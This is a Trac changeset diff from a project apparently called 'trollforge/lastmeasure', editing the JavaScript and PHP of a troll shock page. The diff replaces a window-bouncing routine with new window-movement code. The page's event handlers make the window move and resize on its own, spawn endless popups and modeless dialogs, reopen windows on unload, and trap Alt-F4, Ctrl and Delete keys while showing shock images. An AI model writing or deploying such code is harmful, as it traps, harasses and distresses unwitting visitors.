Changeset 82


Ignore:
Timestamp:
11/23/05 17:38:11 (7 years ago)
Author:
sam
Message:
  • removed playBall in favour of move_around everywhere.
Location:
trollforge/lastmeasure
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/include/js.inc

    r67 r82  
    4242} 
    4343 
    44 function newXlt(){ 
    45         xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ; 
    46         window.focus()} 
    47  
    48 function newXrt(){ 
    49         xOff = Math.ceil(7 * Math.random())  * 5 - 10 ; 
    50         } 
    51  
    52 function newYup(){ 
    53         yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10 ; 
    54         } 
    55  
    56 function newYdn(){ 
    57         yOff = Math.ceil( 7 * Math.random())  * 5 - 10  ; 
    58         } 
    59 function fOff(){ 
    60         flagrun = 0; 
    61         } 
    62  
    6344function popUp(URL) { 
    6445day = new Date(); 
     
    6748} 
    6849 
    69 function playBall(){ 
    70         xPos += xOff; 
    71         yPos += yOff; 
    72         if (xPos > screen.width-175){ 
    73         newXlt(); 
    74         } 
    75         if (xPos < 0){ 
    76         newXrt(); 
    77         } 
    78         if (yPos > screen.height-100){ 
    79         newYup(); 
    80         } 
    81         if (yPos < 0){ 
    82         newYdn(); 
    83         } 
    84         window.moveTo(xPos,yPos); 
    85         setTimeout('playBall()',1); 
    86 } 
    87  
  • trollforge/lastmeasure/index.php

    r81 r82  
    5050 
    5151    window.resizeTo(<?php echo "$w, $h";?>); 
    52     var centerX = (screen.width - window.width) / 2; 
    53     var centerY = (screen.height - window.height) / 2; 
     52    var centerX = (self.screen.width - document.body.clientWidth) / 2; 
     53    var centerY = (self.screen.height - document.body.clientHeight) / 2; 
    5454    movew0w(); 
    5555 
     
    5757      var j; 
    5858      for (j = 0; j < 5; j++) { 
    59         var factorX = 1.0 + Math.sin((20*Math.sin(currStep/20))+j*70) 
    60                              * (Math.sin(10+currStep/(10+j))+0.2) 
    61                              * Math.cos((currStep + j*25)/10); 
    62         var factorY = 1.0 + Math.cos((20*Math.sin(currStep/(20+j)))+j*70) 
    63                              * (Math.sin(10+currStep/10)+0.2) 
    64                              * Math.cos((currStep + j*25)/10); 
    65         self.moveTo(centerX * factorX, centerY * factorY); 
     59        var s = Math.sin(currStep / 10) - 1.0; 
     60        var c = Math.cos(currStep / 10) - 1.0; 
     61        var factorX = 1.0 + s*s*s; /* -1 : 1 */ 
     62        var factorY = 1.0 + c*c*c; /* -1 : 1 */ 
     63 
     64        factorX += Math.sin((20*Math.sin(currStep/20))+j*70) 
     65                     * (Math.sin(10+currStep/(10+j))+0.2) 
     66                     * Math.cos((currStep + j*25)/10); 
     67        factorY += Math.cos((20*Math.sin(currStep/(20+j)))+j*70) 
     68                     * (Math.sin(10+currStep/10)+0.2) 
     69                     * Math.cos((currStep + j*25)/10); 
     70        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); 
    6671      } 
    6772      currStep += step; 
     
    161166      ?> 
    162167<body background="<?php random_image();?>" bgcolor="#ffffff" 
    163       onMouseMove="playBall();" onLoad="playBall();" 
    164168      <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)" <?php } ?> 
    165169      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 
     170  <?php move_around(500, 400);?> 
    166171  <?php if($br_ie6) { 
    167172          activate_applets(); 
     
    197202           src="<?php random_image();?>" height="300" width="300" 
    198203           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1'); 
    199                         return true; }document.goatse.reset();playBall(); 
     204                        return true; }document.goatse.reset();movew0w(); 
    200205                        return true;" 
    201206           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1'); 
    202                     return true; } playBall();return true;" 
     207                    return true; } movew0w();return true;" 
    203208           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1'); 
    204209                       return true; } else{procreate();} 
    205                        playBall();return true;"> 
     210                       movew0w();return true;"> 
    206211    <img src="<?php random_image();?>" 
    207212         onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1'); 
    208                       return true; } procreate();playBall();return true;" 
     213                      return true; } procreate();movew0w();return true;" 
    209214         onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1'); 
    210215                     return true; }"> 
     
    236241      ?> 
    237242<body bgColor="#ffffff" 
    238       onLoad="document.goatse.reset();playBall();return true;bookmark();" 
     243      onLoad="document.goatse.reset();movew0w();return true;bookmark();" 
    239244      onKeyDown="altf4key();ctrlkey();delkey();" 
    240       onMouseOver="procreate();playBall();"> 
     245      onMouseOver="procreate();movew0w();"> 
     246  <?php move_around(500, 400);?> 
    241247  <h1>PROCREATING LAST MEASURE!!!</h1> 
    242248  <h1>GNAA > j00</h1> 
     
    254260      ?> 
    255261<body background="<?php random_image();?>" bgColor="#ffffff" 
    256       onLoad="document.goatse.reset();playBall();return true;bookmark();" 
     262      onLoad="document.goatse.reset();movew0w();return true;bookmark();" 
    257263      <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)" 
    258264      <?php } else { ?>onUnload="window.open('index.php?popup=1', '<?php random_image();?>', 'fullscreen=0')" 
    259265      <?php } ?> 
    260266      onKeyDown="altf4key();ctrlkey();delkey();" 
    261       onMouseOver="procreate();playBall();"> 
     267      onMouseOver="procreate();movew0w();"> 
    262268  <?php move_around(500, 400);?> 
    263269  <?php if($br_ie6) { 
     
    280286  <form name="goatse" action="#" ONreset="procreate();return true;"> 
    281287    <img src="<?php random_image();?>" 
    282          onMouseOver="procreate();playBall();return true;" /> 
     288         onMouseOver="procreate();movew0w();return true;" /> 
    283289  </form> 
    284290</body> 
Note: See TracChangeset for help on using the changeset viewer.